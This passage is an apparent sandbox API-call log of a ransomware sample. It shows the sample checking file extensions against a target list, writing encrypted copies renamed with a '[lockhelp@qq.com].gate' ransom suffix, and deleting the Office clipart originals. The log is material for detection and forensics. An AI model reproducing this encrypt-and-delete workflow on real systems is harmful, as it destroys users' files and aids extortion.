CloseHandle (hObject=0x4f8) returned 1 [0312.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0312.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.640] lstrlenW (lpString=".doc") returned 4 [0312.640] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0312.641] lstrlenW (lpString=".docx") returned 5 [0312.641] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0312.641] lstrlenW (lpString=".pdf") returned 4 [0312.641] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0312.641] lstrlenW (lpString=".xls") returned 4 [0312.641] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0312.641] lstrlenW (lpString=".xlsx") returned 5 [0312.641] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0312.641] lstrlenW (lpString=".ppt") returned 4 [0312.641] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0312.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.641] lstrlenW (lpString=".zip") returned 4 [0312.641] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0312.641] lstrlenW (lpString=".rar") returned 4 [0312.641] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0312.641] lstrlenW (lpString=".bz2") returned 4 [0312.641] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0312.642] lstrlenW (lpString=".7z") returned 3 [0312.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0312.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.642] lstrlenW (lpString=".dbf") returned 4 [0312.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0312.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.642] lstrlenW (lpString=".1cd") returned 4 [0312.642] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0312.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0312.642] lstrlenW (lpString=".jpg") returned 4 [0312.642] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0312.643] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24377) returned 1 [0312.643] CloseHandle (hObject=0x4f8) returned 1 [0312.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0312.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0312.644] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.644] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0312.644] GetLastError () returned 0x0 [0312.644] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5f39, lpOverlapped=0x0) returned 1 [0313.756] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5f40, lpOverlapped=0x0) returned 1 [0313.757] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0313.758] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0313.758] SetEndOfFile (hFile=0x514) returned 1 [0313.758] CloseHandle (hObject=0x514) returned 1 [0313.758] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.758] SetEndOfFile (hFile=0x4f8) returned 1 [0313.761] CloseHandle (hObject=0x4f8) returned 1 [0313.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0313.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.964] lstrlenW (lpString=".doc") returned 4 [0313.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0313.965] lstrlenW (lpString=".docx") returned 5 [0313.965] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0313.965] lstrlenW (lpString=".pdf") returned 4 [0313.965] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0313.965] lstrlenW (lpString=".xls") returned 4 [0313.965] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0313.965] lstrlenW (lpString=".xlsx") returned 5 [0313.965] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0313.965] lstrlenW (lpString=".ppt") returned 4 [0313.965] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0313.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.965] lstrlenW (lpString=".zip") returned 4 [0313.965] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0313.965] lstrlenW (lpString=".rar") returned 4 [0313.965] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0313.965] lstrlenW (lpString=".bz2") returned 4 [0313.965] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0313.965] lstrlenW (lpString=".7z") returned 3 [0313.965] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0313.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.965] lstrlenW (lpString=".dbf") returned 4 [0313.965] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0313.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.965] lstrlenW (lpString=".1cd") returned 4 [0313.965] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0313.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0313.965] lstrlenW (lpString=".jpg") returned 4 [0313.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0313.966] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=6929) returned 1 [0313.966] CloseHandle (hObject=0x4c0) returned 1 [0313.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0313.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0313.967] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.967] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0313.968] GetLastError () returned 0x0 [0313.968] ReadFile (in: hFile=0x4c0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1b11, lpOverlapped=0x0) returned 1 [0314.129] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1b20, lpOverlapped=0x0) returned 1 [0314.130] ReadFile (in: hFile=0x4c0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0314.130] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0314.130] SetEndOfFile (hFile=0x414) returned 1 [0314.308] CloseHandle (hObject=0x414) returned 1 [0314.309] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.310] SetEndOfFile (hFile=0x4c0) returned 1 [0314.313] CloseHandle (hObject=0x4c0) returned 1 [0314.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0314.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.314] lstrlenW (lpString=".doc") returned 4 [0314.314] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.314] lstrlenW (lpString=".docx") returned 5 [0314.314] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0314.314] lstrlenW (lpString=".pdf") returned 4 [0314.314] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.314] lstrlenW (lpString=".xls") returned 4 [0314.314] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.314] lstrlenW (lpString=".xlsx") returned 5 [0314.314] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0314.314] lstrlenW (lpString=".ppt") returned 4 [0314.314] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.314] lstrlenW (lpString=".zip") returned 4 [0314.314] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.314] lstrlenW (lpString=".rar") returned 4 [0314.314] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.314] lstrlenW (lpString=".bz2") returned 4 [0314.314] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.314] lstrlenW (lpString=".7z") returned 3 [0314.314] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.314] lstrlenW (lpString=".dbf") returned 4 [0314.315] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.315] lstrlenW (lpString=".1cd") returned 4 [0314.315] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0314.315] lstrlenW (lpString=".jpg") returned 4 [0314.315] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.316] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8826) returned 1 [0314.316] CloseHandle (hObject=0x4c0) returned 1 [0314.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0314.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0314.316] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.316] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0314.317] GetLastError () returned 0x0 [0314.317] ReadFile (in: hFile=0x4c0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x227a, lpOverlapped=0x0) returned 1 [0314.495] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2280, lpOverlapped=0x0) returned 1 [0314.799] ReadFile (in: hFile=0x4c0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0314.799] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0314.799] SetEndOfFile (hFile=0x414) returned 1 [0314.800] CloseHandle (hObject=0x414) returned 1 [0314.800] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.800] SetEndOfFile (hFile=0x4c0) returned 1 [0314.802] CloseHandle (hObject=0x4c0) returned 1 [0314.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.937] lstrlenW (lpString=".doc") returned 4 [0314.937] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.937] lstrlenW (lpString=".docx") returned 5 [0314.937] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0314.937] lstrlenW (lpString=".pdf") returned 4 [0314.937] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.937] lstrlenW (lpString=".xls") returned 4 [0314.937] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.937] lstrlenW (lpString=".xlsx") returned 5 [0314.937] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0314.937] lstrlenW (lpString=".ppt") returned 4 [0314.937] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.937] lstrlenW (lpString=".zip") returned 4 [0314.937] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.937] lstrlenW (lpString=".rar") returned 4 [0314.937] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.937] lstrlenW (lpString=".bz2") returned 4 [0314.937] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.937] lstrlenW (lpString=".7z") returned 3 [0314.937] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.937] lstrlenW (lpString=".dbf") returned 4 [0314.937] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.937] lstrlenW (lpString=".1cd") returned 4 [0314.937] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0314.938] lstrlenW (lpString=".jpg") returned 4 [0314.938] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.938] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=19656) returned 1 [0314.938] CloseHandle (hObject=0x4c4) returned 1 [0314.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0314.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0314.939] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.939] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0314.939] GetLastError () returned 0x0 [0314.939] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0315.003] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0315.004] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.004] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.004] SetEndOfFile (hFile=0x50c) returned 1 [0315.004] CloseHandle (hObject=0x50c) returned 1 [0315.004] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.005] SetEndOfFile (hFile=0x4c4) returned 1 [0315.008] CloseHandle (hObject=0x4c4) returned 1 [0315.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0315.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.156] lstrlenW (lpString=".doc") returned 4 [0315.156] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.156] lstrlenW (lpString=".docx") returned 5 [0315.156] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0315.156] lstrlenW (lpString=".pdf") returned 4 [0315.156] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.156] lstrlenW (lpString=".xls") returned 4 [0315.156] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.156] lstrlenW (lpString=".xlsx") returned 5 [0315.156] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0315.156] lstrlenW (lpString=".ppt") returned 4 [0315.156] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.156] lstrlenW (lpString=".zip") returned 4 [0315.156] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.156] lstrlenW (lpString=".rar") returned 4 [0315.156] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.156] lstrlenW (lpString=".bz2") returned 4 [0315.156] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.156] lstrlenW (lpString=".7z") returned 3 [0315.156] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.156] lstrlenW (lpString=".dbf") returned 4 [0315.157] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.157] lstrlenW (lpString=".1cd") returned 4 [0315.157] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0315.157] lstrlenW (lpString=".jpg") returned 4 [0315.157] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.166] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34fff14 | out: 